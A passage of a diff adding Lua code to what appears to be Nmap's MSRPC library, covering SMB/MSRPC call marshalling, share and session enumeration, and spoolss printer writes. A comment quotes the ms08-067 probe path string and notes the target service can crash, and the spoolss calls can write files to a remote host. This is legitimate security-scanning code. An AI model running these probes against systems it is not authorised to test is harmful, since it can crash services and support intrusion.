+ -- Check if the packet was fragmented (I've never seen this, but wouldn't know how to handle it)
+ if((result['packet_flags'] & 0x03) ~= 0x03) then
+ return false, "Bind() returned a fragmented packet, which we don't know how to handle"
+ end
+ -- Check if the wrong message type was returned
+ if(result['packet_type'] ~= 0x0c) then
+ return false, "Bind() returned an unexpected packet type (not BIND_ACK)"
+ end
+ -- Ensure the proper call_id was echoed back (if this is wrong, it's likely because our read is out of sync, not a bad server)
+ if(result['call_id'] ~= 0x41414141) then
+ return false, "MSRPC call returned an incorrect 'call_id' value"
+ end
+
+ -- If we made it this far, then we have a valid Bind() result. Pull out some more parameters.
+ local fmt = "<I2I2I4I2"
+ if #data - pos + 1 < string.packsize(fmt) then
+ return false, "MSRPC: ERROR: Ran off the end of SMB packet; likely due to server truncation"
+ end
+ result.max_transmit_frag, result.max_receive_frag, result.assoc_group,
+ result.secondary_address_length, pos = string.unpack(fmt, data, pos)
+
+ -- Read the secondary address
+ if #data - pos + 1 < result.secondary_address_length + 1 then -- +1 to account for num_results below
+ return false, "MSRPC: ERROR: Ran off the end of SMB packet; likely due to server truncation"
+ end
+ result.secondary_address, pos = string.unpack(("<c%d"):format(result.secondary_address_length), data, pos)
+ pos = pos + ((4 - ((pos - 1) % 4)) % 4); -- Alignment -- don't ask how I came up with this, it was a lot of drawing, and there's probably a far better way
+
+ -- Read the number of results
+ result.num_results, pos = string.unpack("<B", data, pos)
+ pos = pos + ((4 - ((pos - 1) % 4)) % 4); -- Alignment
+
+ -- Verify we got back what we expected
+ if(result['num_results'] ~= 1) then
+ return false, "Bind() returned the incorrect number of result"
+ end
+
+ -- Read in the last bits
+ local fmt = "<I2I2c16I4"
+ if #data - pos + 1 < string.packsize(fmt) then
+ return false, "MSRPC: ERROR: Ran off the end of SMB packet; likely due to server truncation"
+ end
+ result.ack_result, result.align, result.transfer_syntax, result.syntax_version, pos = string.unpack(fmt, data, pos)
+
+ return true, result
+end
+
+--- Call a MSRPC function on the remote server, with the given opnum and arguments.
+--
+-- I opted to make this a local function for design reasons -- scripts
+-- shouldn't be directly calling a function, if a function I haven't written is
+-- needed, it ought to be added to this file.
+--
+-- Anyways, this function takes the opnum and marshalled arguments, and passes
+-- it down to the SMB layer. The SMB layer sends out a
+-- <code>SMB_COM_TRANSACTION</code> packet, and parses the result. Once the SMB
+-- stuff has been stripped off the result, it's passed down here, cleaned up
+-- some more, and returned to the caller.
+--
+-- There's a reason that SMB is sometimes considered to be between layer 4 and
+-- 7 on the OSI model. :)
+--
+--@param smbstate The SMB state table (after <code>bind</code> has been called).
+--@param opnum The operating number (ie, the function). Find this in the
+-- MSRPC documentation or with a packet logger.
+--@param arguments The marshalled arguments to pass to the function. Currently,
+-- marshalling is all done manually.
+--@return status true or false
+--@return If status is false, result is an error message. Otherwise, result is
+-- a table of values, the most useful one being 'arguments', which are
+-- the values returned by the server. If the packet is fragmented, the
+-- fragments will be reassembled and 'arguments' will represent all the
+-- arguments; however, the rest of the result table will represent the
+-- most recent fragment.
+function call_function(smbstate, opnum, arguments)
+ local status, result
+ local parameters, data
+ local pos, align
+ local result
+ local first = true
+ local is_first, is_last
+
+ data = string.pack("<BBBB>I4<I2I2I4I4I2I2",
+ 0x05, -- Version (major)
+ 0x00, -- Version (minor)
+ 0x00, -- Packet type (0x00 = request)
+ 0x03, -- Packet flags (0x03 = first frag + last frag)
+ 0x10000000, -- Data representation (big endian)
+ 0x18 + #arguments, -- Frag length (0x18 = the size of this data)
+ 0x0000, -- Auth length
+ 0x41414141, -- Call ID (I use 'AAAA' because it's easy to recognize)
+ #arguments, -- Alloc hint
+ 0x0000, -- Context ID
+ opnum) -- Opnum
+ .. arguments
+
+ stdnse.debug3("MSRPC: Calling function 0x%02x with %d bytes of arguments", opnum, #arguments)
+
+ -- Pass the information up to the smb layer
+ status, result = smb.write_file(smbstate, data, 0)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Loop over the fragments
+ local arguments = ""
+ repeat
+ -- Read the information from the smb layer
+ status, result = smb.read_file(smbstate, 0, 0x1001)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Make these easier to access.
+ parameters = result['parameters']
+ data = result['data']
+
+ -- Extract the first part from the response
+ local fmt = "<BBBB>I4<I2I2I4"
+ if #data < string.packsize(fmt) then
+ return false, "MSRPC: ERROR: Ran off the end of SMB packet; likely due to server truncation"
+ end
+ result.version_major, result.version_minor, result.packet_type,
+ result.packet_flags, result.data_representation, result.frag_length,
+ result.auth_length, result.call_id, pos = string.unpack(fmt, data)
+
+ -- Check if we're fragmented
+ is_first = ((result['packet_flags'] & 0x01) == 0x01)
+ is_last = ((result['packet_flags'] & 0x02) == 0x02)
+
+ -- We have a fragmented packet, make sure it's the first (if we're on the first)
+ if(first == true and is_first == false) then
+ return false, "MSRPC: First fragment doesn't have proper 'first' (0x01) flag set"
+ end
+
+ -- We have a fragmented packet, make sure it isn't the first (if we aren't on the first)
+ if(first == false and is_first) then
+ return false, "MSRPC: Middle (or last) fragment doesn't have proper 'first' (0x01) flag set"
+ end
+
+ -- Check if there was an error
+ if(result['packet_type'] == 0x03) then -- MSRPC_FAULT
+ return false, "MSRPC call returned a fault (packet type)"
+ end
+ if((result['packet_flags'] & 0x20) == 0x20) then
+ return false, "MSRPC call returned a fault (flags)"
+ end
+ if(result['auth_length'] ~= 0) then
+ return false, "MSRPC call returned an 'auth length', which we don't know how to deal with"
+ end
+ if(result['packet_type'] ~= 0x02) then
+ return false, "MSRPC call returned an unexpected packet type (not RESPONSE)"
+ end
+ if(result['call_id'] ~= 0x41414141) then
+ return false, "MSRPC call returned an incorrect 'call_id' value"
+ end
+
+ -- Extract some more
+ local fmt = "<I4I2BB"
+ if #data - pos + 1 < string.packsize(fmt) then
+ return false, "MSRPC: ERROR: Ran off the end of SMB packet; likely due to server truncation"
+ end
+ result.alloc_hint, result.context_id, result.cancel_count, align, pos = string.unpack(fmt, data, pos)
+
+ -- Rest is the arguments
+ arguments = arguments .. string.sub(data, pos)
+
+ -- No longer the 'first'
+ first = false
+ until is_last == true
+
+ result['arguments'] = arguments
+
+ stdnse.debug3("MSRPC: Function call successful, %d bytes of returned arguments", #result['arguments'])
+
+ return true, result
+end
+
+---LANMAN API calls use different conventions than everything else, so make a separate function for them.
+function call_lanmanapi(smbstate, opnum, paramdesc, datadesc, data)
+ local status, result
+ local parameters = ""
+ local pos
+
+ parameters = string.pack("<I2zz",
+ opnum,
+ paramdesc, -- Parameter Descriptor
+ datadesc) -- Return Descriptor
+ .. data
+
+ stdnse.debug1("MSRPC: Sending Browser Service request")
+ status, result = smb.send_transaction_named_pipe(smbstate, parameters, nil, "\\PIPE\\LANMAN", true)
+
+ if(not(status)) then
+ return false, "Couldn't call LANMAN API: " .. result
+ end
+
+ return true, result
+end
+
+--- Queries the (master) browser service for a list of server that it manages
+--
+-- @param smbstate The SMB state table (after <code>bind</code> has been called).
+-- @param domain (optional) string containing the domain name to query
+-- @param server_type number containing a server bit mask to use to filter responses
+-- @param detail_level number containing either 0 or 1
+function rap_netserverenum2(smbstate, domain, server_type, detail_level)
+
+ local NETSERVERENUM2 = 0x0068
+ local paramdesc = (domain and "WrLehDz" or "WrLehDO")
+ assert( detail_level > 0 and detail_level < 2, "detail_level must be either 0 or 1")
+ local datadesc = ( detail_level == 0 and "B16" or "B16BBDz")
+ local data = string.pack("<I2I2I4", detail_level,
+ 14724,
+ server_type)
+ .. (domain or "")
+
+ local status, result = call_lanmanapi(smbstate, NETSERVERENUM2, paramdesc, datadesc, data )
+
+ if ( not(status) ) then
+ return false, "MSRPC: NetServerEnum2 call failed"
+ end
+
+ local parameters = result.parameters
+ local data = result.data
+
+ stdnse.debug1("MSRPC: Parsing Browser Service response")
+ local status, convert, entry_count, available_entries, pos = string.unpack("<I2I2I2I2", parameters)
+
+ if(status ~= 0) then
+ return false, string.format("Call to Browser Service failed with status = %d", status)
+ end
+
+ stdnse.debug1("MSRPC: Browser service returned %d entries", entry_count)
+
+
+ local pos = 1
+ local entries = {}
+
+ for i = 1, entry_count, 1 do
+ local server = {}
+
+ server.name, pos = string.unpack("<z", data, pos)
+ stdnse.debug1("MSRPC: Found name: %s", server.name)
+
+ -- pos needs to be rounded to the next even multiple of 16
+ pos = pos + ( 16 - (#server.name % 16) ) - 1
+
+ if ( detail_level > 0 ) then
+ local comment_offset, _
+ server.version = {}
+ server.version.major, server.version.minor,
+ server.type, comment_offset, _, pos = string.unpack("<BBI4I2I2", data, pos)
+
+ server.comment, pos = string.unpack("<z", data, (comment_offset - convert + 1))
+ end
+ table.insert(entries, server)
+ end
+
+ return true, entries
+end
+
+---A proxy to a <code>msrpctypes</code> function that converts a ShareType to
+-- an English string.
+--
+-- I implemented this as a proxy so scripts don't have to make direct calls to
+-- <code>msrpctypes</code> functions.
+--
+--@param val The value to convert.
+--@return A string that can be displayed to the user.
+function srvsvc_ShareType_tostr(val)
+ return msrpctypes.srvsvc_ShareType_tostr(val)
+end
+
+---Call the MSRPC function <code>netshareenumall</code> on the remote system.
+--
+-- This function basically returns a list of all the shares on the system.
+--
+--@param smbstate The SMB state table
+--@param server The IP or Hostname of the server (seems to be ignored but it's
+-- a good idea to have it)
+--@return status true or false
+--@return If status is false, result is an error message. Otherwise, result is
+-- a table of values, the most useful one being 'shares', which is a
+-- list of the system's shares.
+function srvsvc_netshareenumall(smbstate, server)
+ local status, result
+ local arguments
+ local pos, align
+
+ local level
+ local ctr, referent, count, max_count
+
+ stdnse.debug2("MSRPC: Calling NetShareEnumAll() [%s]", smbstate['ip'])
+
+ -- [in] [string,charset(UTF16)] uint16 *server_unc
+ arguments = msrpctypes.marshall_unicode_ptr("\\\\" .. server, true)
+
+ -- [in,out] uint32 level
+ .. msrpctypes.marshall_int32(0)
+
+ -- [in,out,switch_is(level)] srvsvc_NetShareCtr ctr
+ .. msrpctypes.marshall_srvsvc_NetShareCtr(0, {array=nil})
+
+ -- [in] uint32 max_buffer,
+ .. msrpctypes.marshall_int32(4096)
+
+ -- [out] uint32 totalentries
+ -- [in,out] uint32 *resume_handle*
+ .. msrpctypes.marshall_int32_ptr(0)
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x0F, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: NetShareEnumAll() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in] [string,charset(UTF16)] uint16 *server_unc
+ -- [in,out] uint32 level
+ pos, result['level'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [in,out,switch_is(level)] srvsvc_NetShareCtr ctr
+ pos, result['ctr'] = msrpctypes.unmarshall_srvsvc_NetShareCtr(arguments, pos, level)
+ if(pos == nil) then
+ return false, "unmarshall_srvsvc_NetShareCtr() returned an error"
+ end
+
+ -- [out] uint32 totalentries
+ pos, result['totalentries'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [in,out] uint32 *resume_handle
+ pos, result['resume_handle'] = msrpctypes.unmarshall_int32_ptr(arguments, pos)
+
+ -- The return value
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (srvsvc.netshareenumall)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (srvsvc.netshareenumall)"
+ end
+
+ return true, result
+end
+
+---Call the MSRPC function <code>netsharegetinfo</code> on the remote system. This function retrieves extra information about a share
+-- on the system.
+--
+--@param smbstate The SMB state table
+--@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it)
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'shares', which is a list of the system's shares.
+function srvsvc_netsharegetinfo(smbstate, server, share, level)
+ stdnse.debug2("Calling NetShareGetInfo(%s, %s, %d)", server, share, level)
+
+ --NetGetShareInfo seems to reject FQPN and reads the server value from the request
+ --If any function called this function using a FQPN, this should take care of it.
+ local _, _, sharename = string.find(share, "\\\\.*\\(.*)")
+ if sharename then
+ share = sharename
+ end
+ -- [in] [string,charset(UTF16)] uint16 *server_unc,
+ local arguments = msrpctypes.marshall_unicode_ptr("\\\\" .. server, true)
+
+ -- [in] [string,charset(UTF16)] uint16 share_name[],
+ .. msrpctypes.marshall_unicode(share, true)
+
+ -- [in] uint32 level,
+ .. msrpctypes.marshall_int32(level)
+
+ -- [out,switch_is(level)] srvsvc_NetShareInfo info
+
+
+ -- Do the call
+ local status, result = call_function(smbstate, 0x10, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: NetShareGetInfo() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ local pos = 1
+
+ -- [in] [string,charset(UTF16)] uint16 *server_unc,
+ -- [in] [string,charset(UTF16)] uint16 share_name[],
+ -- [in] uint32 level,
+ -- [out,switch_is(level)] srvsvc_NetShareInfo info
+ pos, result['info'] = msrpctypes.unmarshall_srvsvc_NetShareInfo(arguments, pos)
+ if(pos == nil) then
+ return false, "unmarshall_srvsvc_NetShareInfo() returned an error"
+ end
+
+ -- The return value
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (srvsvc.netsharegetinfo)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (srvsvc.netsharegetinfo)"
+ end
+
+ return true, result
+end
+
+
+---Call the <code>NetSessEnum</code> function, which gets a list of active sessions on the host. For this function,
+-- a session is defined as a connection to a file share.
+--
+--@param smbstate The SMB state table
+--@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it)
+--@return (status, result) If status is false, result is an error message. Otherwise, result is an array of tables.
+-- Each table contains the elements 'user', 'client', 'active', and 'idle'.
+function srvsvc_netsessenum(smbstate, server)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling NetSessEnum() [%s]", smbstate['ip'])
+
+ -- [in] [string,charset(UTF16)] uint16 *server_unc,
+ arguments = msrpctypes.marshall_unicode_ptr(server, true)
+
+ -- [in] [string,charset(UTF16)] uint16 *client,
+ .. msrpctypes.marshall_unicode_ptr(nil)
+
+ -- [in] [string,charset(UTF16)] uint16 *user,
+ .. msrpctypes.marshall_unicode_ptr(nil)
+
+ -- [in,out] uint32 level,
+ .. msrpctypes.marshall_int32(10) -- 10 seems to be the only useful one allowed anonymously
+
+ -- [in,out,switch_is(level)] srvsvc_NetSessCtr ctr,
+ .. msrpctypes.marshall_srvsvc_NetSessCtr(10, {array=nil})
+
+ -- [in] uint32 max_buffer,
+ .. msrpctypes.marshall_int32(0xFFFFFFFF)
+
+ -- [out] uint32 totalentries,
+ -- [in,out] uint32 *resume_handle
+ .. msrpctypes.marshall_int32_ptr(0)
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x0C, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: NetSessEnum() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ local count
+ local sessions = {}
+ local referent_id
+ -- [in] [string,charset(UTF16)] uint16 *server_unc,
+ -- [in] [string,charset(UTF16)] uint16 *client,
+ -- [in] [string,charset(UTF16)] uint16 *user,
+ -- [in,out] uint32 level,
+ pos, result['level'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [in,out,switch_is(level)] srvsvc_NetSessCtr ctr,
+ pos, result['ctr'] = msrpctypes.unmarshall_srvsvc_NetSessCtr(arguments, pos)
+ if(pos == nil) then
+ return false, "unmarshall_srvsvc_NetSessCtr() returned an error"
+ end
+
+ -- [in] uint32 max_buffer,
+ -- [out] uint32 totalentries,
+ pos, result['totalentries'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [in,out] uint32 *resume_handle
+ pos, result['resume_handle'] = msrpctypes.unmarshall_int32_ptr(arguments, pos)
+
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (srvsvc.netsessenum)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (srvsvc.netsessenum)"
+ end
+
+ return true, result
+end
+
+--- Calls the <code>NetServerGetStatistics</code> function, which grabs a bunch of statistics on the server.
+-- This function requires administrator access to call.
+--
+-- Note: Wireshark 1.0.3 doesn't parse this packet properly.
+--
+--@param smbstate The SMB state table
+--@param server The IP or name of the server (I don't think this is actually used, but it's
+-- good practice to send it).
+--
+--@return A table containing the following values:
+-- * 'start' The time when statistics collection started (or when the statistics were last cleared). The value is
+-- stored as the number of seconds that have elapsed since 00:00:00, January 1, 1970, GMT. To calculate
+-- the length of time that statistics have been collected, subtract the value of this member from the
+-- present time. 'start_date' is the date as a string.
+-- * 'fopens' The number of times a file is opened on a server. This includes the number of times named pipes are opened.
+-- * 'devopens' The number of times a server device is opened.
+-- * 'jobsqueued' The number of server print jobs spooled.
+-- * 'sopens' The number of times the server session started.
+-- * 'stimedout' The number of times the server session automatically disconnected.
+-- * 'serrorout' The number of times the server sessions failed with an error.
+-- * 'pwerrors' The number of server password violations.
+-- * 'permerrors' The number of server access permission errors.
+-- * 'syserrors' The number of server system errors.
+-- * 'bytessent' The number of server bytes sent to the network.
+-- * 'bytesrcvd' The number of server bytes received from the network.
+-- * 'avresult' The average server result time (in milliseconds).
+-- * 'reqbufneed' The number of times the server required a request buffer but failed to allocate one. This value indicates that the server parameters may need adjustment.
+-- * 'bigbufneed' The number of times the server required a big buffer but failed to allocate one. This value indicates that the server parameters may need adjustment.
+function srvsvc_netservergetstatistics(smbstate, server)
+ local status, result
+ local arguments
+ local pos, align
+
+ local service = "SERVICE_SERVER"
+
+ stdnse.debug2("MSRPC: Calling NetServerGetStatistics() [%s]", smbstate['ip'])
+
+ -- [in] [string,charset(UTF16)] uint16 *server_unc,
+ arguments = msrpctypes.marshall_unicode_ptr(server, true)
+
+ -- [in] [string,charset(UTF16)] uint16 *service,
+ .. msrpctypes.marshall_unicode_ptr(service, true)
+
+ -- [in] uint32 level,
+ .. msrpctypes.marshall_int32(0)
+
+ -- [in] uint32 options,
+ .. msrpctypes.marshall_int32(0)
+
+ -- [out] srvsvc_Statistics stat
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x18, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: NetServerGetStatistics() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in] [string,charset(UTF16)] uint16 *server_unc,
+ -- [in] [string,charset(UTF16)] uint16 *service,
+ -- [in] uint32 level,
+ -- [in] uint32 options,
+ -- [out] srvsvc_Statistics stat
+ pos, result['stat'] = msrpctypes.unmarshall_srvsvc_Statistics_ptr(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (srvsvc.netservergetstatistics)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (srvsvc.netservergetstatistics)"
+ end
+
+ return true, result
+end
+
+---Call the NetPathCompare() function, which indirectly calls NetPathCanonicalize(),
+-- the target of ms08-067. I'm currently only using this to trigger ms08-067.
+--
+-- The string used by Metasploit and other free tools to check for this vulnerability is
+-- '\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\n'. On vulnerable systems, this will be
+-- accepted and this function will return '0'. On patched systems, this will be rejected
+-- and return <code>ERROR_INVALID_PARAMETER</code>.
+--
+-- Note that the srvsvc.exe process occasionally crashes when attempting this.
+--
+--@param smbstate The SMB state table
+--@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it)
+--@param path1 The first path to compare
+--@param path2 The second path to compare
+--@param pathtype The pathtype to pass to the function (I always use '1')
+--@param pathflags The pathflags to pass to the function (I always use '0')
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values containing
+-- 'return'.
+function srvsvc_netpathcompare(smbstate, server, path1, path2, pathtype, pathflags)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling NetPathCompare(%s, %s) [%s]", path1, path2, smbstate['ip'])
+
+ -- [in] [string,charset(UTF16)] uint16 *server_unc,
+ arguments = msrpctypes.marshall_unicode_ptr(server, true)
+
+ -- [in] [string,charset(UTF16)] uint16 path1[],
+ .. msrpctypes.marshall_unicode(path1, true)
+
+ -- [in] [string,charset(UTF16)] uint16 path2[],
+ .. msrpctypes.marshall_unicode(path2, true)
+
+ -- [in] uint32 pathtype,
+ .. msrpctypes.marshall_int32(pathtype)
+
+ -- [in] uint32 pathflags
+ .. msrpctypes.marshall_int32(pathflags)
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x20, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: NetPathCompare() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+
+ -- [in] [string,charset(UTF16)] uint16 *server_unc,
+ -- [in] [string,charset(UTF16)] uint16 path1[],
+ -- [in] [string,charset(UTF16)] uint16 path2[],
+ -- [in] uint32 pathtype,
+ -- [in] uint32 pathflags
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (srvsvc.netpathcompare)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (srvsvc.netpathcompare)"
+ end
+
+ return true, result
+
+end
+
+
+---Call the NetPathCanonicalize() function, which is the target of ms08-067.
+--
+--@param smbstate The SMB state table
+--@param server The IP or Hostname of the server (seems to be ignored but it's a good idea to have it)
+--@param path The path to canonicalize
+--@return (status, result, error_result) If status is false, result is an error message and error_result is
+-- the result table. Otherwise, result is a table of values.
+function srvsvc_netpathcanonicalize(smbstate, server, path)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling NetPathCanonicalize(%s) [%s]", path, smbstate['ip'])
+
+ -- [in] [string,charset(UTF16)] uint16 *server_unc,
+ arguments = msrpctypes.marshall_unicode_ptr(server, true)
+ -- [in] [string,charset(UTF16)] uint16 path[],
+ .. msrpctypes.marshall_unicode(path, true)
+ -- [out] [size_is(maxbuf)] uint8 can_path[],
+ -- [in] uint32 maxbuf,
+ .. msrpctypes.marshall_int32(2)
+
+ -- [in] [string,charset(UTF16)] uint16 prefix[],
+ .. msrpctypes.marshall_unicode("\\", true)
+
+ -- [in,out] uint32 pathtype,
+ .. msrpctypes.marshall_int32(1)
+ -- [in] uint32 pathflags
+ .. msrpctypes.marshall_int32(1)
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x1F, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: NetPathCanonicalize() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in] [string,charset(UTF16)] uint16 *server_unc,
+ -- [in] [string,charset(UTF16)] uint16 path[],
+ -- [out] [size_is(maxbuf)] uint8 can_path[],A
+ -- [in] uint32 maxbuf,
+ -- [in] [string,charset(UTF16)] uint16 prefix[],
+ -- [in,out] uint32 pathtype,
+ -- [in] uint32 pathflags
+
+ -- NOTE: This isn't being done correctly.. due to Wireshark's broken parsing,
+ -- and Samba's possibly-broken definition, I'm not sure how this is supposed
+ -- to be parsed.
+ pos, result['max_count'] = msrpctypes.unmarshall_int32(arguments, pos)
+ pos, result['can_path'] = msrpctypes.unmarshall_int32(arguments, pos)
+ pos, result['type'] = msrpctypes.unmarshall_int32(arguments, pos)
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (srvsvc.netpathcanonicalize)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (srvsvc.netpathcanonicalize)", result
+ end
+
+ return true, result
+
+end
+
+
+---Call the RpcOpenPrinterEx() function whose opnum is 69.
+--
+-- http://msdn.microsoft.com/en-us/library/cc244809%28v=prot.13%29.aspx
+--@param smbstate The SMB state table
+--@param printer Printer share name
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a printer handle.
+function spoolss_open_printer(smbstate,printer)
+ local machine = msrpctypes.marshall_unicode_ptr("",true)
+ local user = msrpctypes.marshall_unicode_ptr("",true)
+
+ local arguments = msrpctypes.marshall_unicode_ptr(printer,true)
+ .. msrpctypes.marshall_int32(0)
+ --devmod container
+ .. msrpctypes.marshall_int32(0)
+ .. msrpctypes.marshall_int32(0)
+ --access we require
+ .. msrpctypes.marshall_int32(0x02020000)
+ -- spool client container
+ .. msrpctypes.marshall_int32(1)
+ .. msrpctypes.marshall_int32(1)
+ .. msrpctypes.marshall_int32(12345135)
+
+ local arguments2 = string.sub(machine,1,4)
+ .. string.sub(user,1,4)
+ .. msrpctypes.marshall_int32(7600)
+ .. msrpctypes.marshall_int32(3)
+ .. msrpctypes.marshall_int32(0)
+ .. msrpctypes.marshall_int32(9)
+ .. string.sub(machine,5,#machine)
+ .. string.sub(user,5,#user)
+ arguments2 = msrpctypes.marshall_int32(#arguments2+4) .. arguments2
+
+ local status, result = call_function(smbstate, 69, arguments .. arguments2)
+ if not status then
+ stdnse.debug1("MSRPC spoolss_open_printer(): %s ",result)
+ end
+ return status,result
+
+end
+
+---Call the RpcStartDocPrinter() function whose opnum is 17.
+--
+-- http://msdn.microsoft.com/en-us/library/cc244828%28v=prot.10%29.aspx
+--@param smbstate The SMB state table
+--@param printer_handle Printer handle returned by spoolss_open_printer()
+--@param filename Name of the file to print to
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a print job id.
+function spoolss_start_doc_printer(smbstate,printer_handle,filename)
+ local document_name = msrpctypes.marshall_unicode_ptr("nmap_test",true)
+ local fname = msrpctypes.marshall_unicode_ptr(filename,true)
+ local dtype = msrpctypes.marshall_int32(0)
+
+ local arguments = printer_handle .. msrpctypes.marshall_int32(1)
+
+ local document_container = msrpctypes.marshall_int32(1)
+ .. msrpctypes.marshall_int32(12332131)
+ .. string.sub(document_name,1,4)
+ .. string.sub(fname,1,4)
+ .. string.sub(dtype,1,4)
+ .. string.sub(document_name,5,#document_name)
+ .. string.sub(fname,5,#fname)
+ .. string.sub(dtype,5,#dtype)
+
+ local status, result = call_function(smbstate, 17, arguments .. document_container)
+ if not status then
+ stdnse.debug1("MSRPC spoolss_start_doc_printer(): %s",result)
+ end
+ return status,result
+end
+
+---Call the RpcWritePrinter() function whose opnum is 19.
+--
+-- http://msdn.microsoft.com/en-us/library/cc244831%28v=prot.10%29
+--@param smbstate The SMB state table
+--@param printer_handle Printer handle returned by spoolss_open_printer()
+--@param data Actual data to write to a file
+--@return (status, result) If status is false, result is an error message. Otherwise, result is number of bytes written.
+function spoolss_write_printer(smbstate,printer_handle,data)
+ local padding_len = 4 - math.fmod(#data,4)
+ local data_padding = nil
+ if not (padding_len == 4) then
+ data_padding = string.rep('\0', padding_len)
+ end
+ local arguments = printer_handle .. msrpctypes.marshall_int32(#data)
+ --.. msrpctypes.marshall_int32(#data)
+ .. data
+ .. (data_padding or "")
+ .. msrpctypes.marshall_int32(#data)
+ local status,result = call_function(smbstate, 19, arguments)
+ if not status then
+ stdnse.debug1("MSRPC spoolss_write_printer(): %s",result)
+ end
+ return status,result
+end
+
+---Call the EndDocPrinter() function whose opnum is 23.
+--
+-- http://msdn.microsoft.com/en-us/library/cc244783%28v=prot.10%29
+--@param smbstate The SMB state table
+--@param printer_handle Printer handle returned by spoolss_open_printer()
+--@return (status, result) If status is false, result is an error message.
+function spoolss_end_doc_printer(smbstate,printer_handle)
+ local status,result = call_function(smbstate,23,printer_handle)
+ if not status then
+ stdnse.debug1("MSRPC spoolss_end_doc_printer(): %s",result)
+ end
+ return status,result
+end
+
+---Call the RpcAbortPrinter() function whose opnum is 21.
+--
+-- http://msdn.microsoft.com/en-us/library/cc244757%28v=prot.13%29
+--@param smbstate The SMB state table
+--@param printer_handle Printer handle returned by spoolss_open_printer()
+--@return (status, result) If status is false, result is an error message.
+function spoolss_abort_printer(smbstate,printer_handle)
+ local status,result = call_function(smbstate,21,printer_handle)
+ if not status then
+ stdnse.debug1("MSRPC spoolss_abort_printer(): %s",result)
+ end
+ return status,result
+end
+
+
+---Helper function to convert binary UUID representation to usual string.
+--
+--@param uuid UUID byte string
+--@return UUID converted to string representation
+function uuid_to_string(uuid)
+ -- Mixed-endian; first 3 parts are little-endian, next 2 are big-endian
+ local A, B, C, D, E = string.unpack("<I4I2I2>c2c6", uuid)
+ return ("%08x-%04x-%04x-%s-%s"):format(A, B, C, stdnse.tohex(D), stdnse.tohex(E))
+end
+
+--- Helper function that maps known UUIDs to corresponding exe/services.
+--
+--@param uuid
+--@return Corresponding service and description as a string or nil.
+function string_uuid_to_exe(uuid)
+ return UUID2EXE[uuid]
+end
+
+--- Lookup endpoint mapper for endpoints
+--
+-- Queries the remote endpoint mapper and parses data into a table with following values:
+-- *'new_handle'
+-- *'annotation'
+-- *'uuid'
+-- *'exe'
+-- *'tcp_port'
+-- *'udp_port'
+-- *'ip_addr'
+-- *'ncalrpc'
+-- *'ncacn_np'
+-- *'netbios'
+-- *'ncacn_http'
+--@param smbstate The SMB state table.
+--@param handle Handle to use for query.
+--@return (status,lookup_result) If status is false, lookup_result contains an error string, otherwise it's a lookup response table.
+function epmapper_lookup(smbstate,handle)
+ if handle == nil then -- if it's a first request, send a null handle
+ handle = string.rep('\0', 20)
+ end
+ -- void ept_lookup(
+ -- [in] handle_t h,
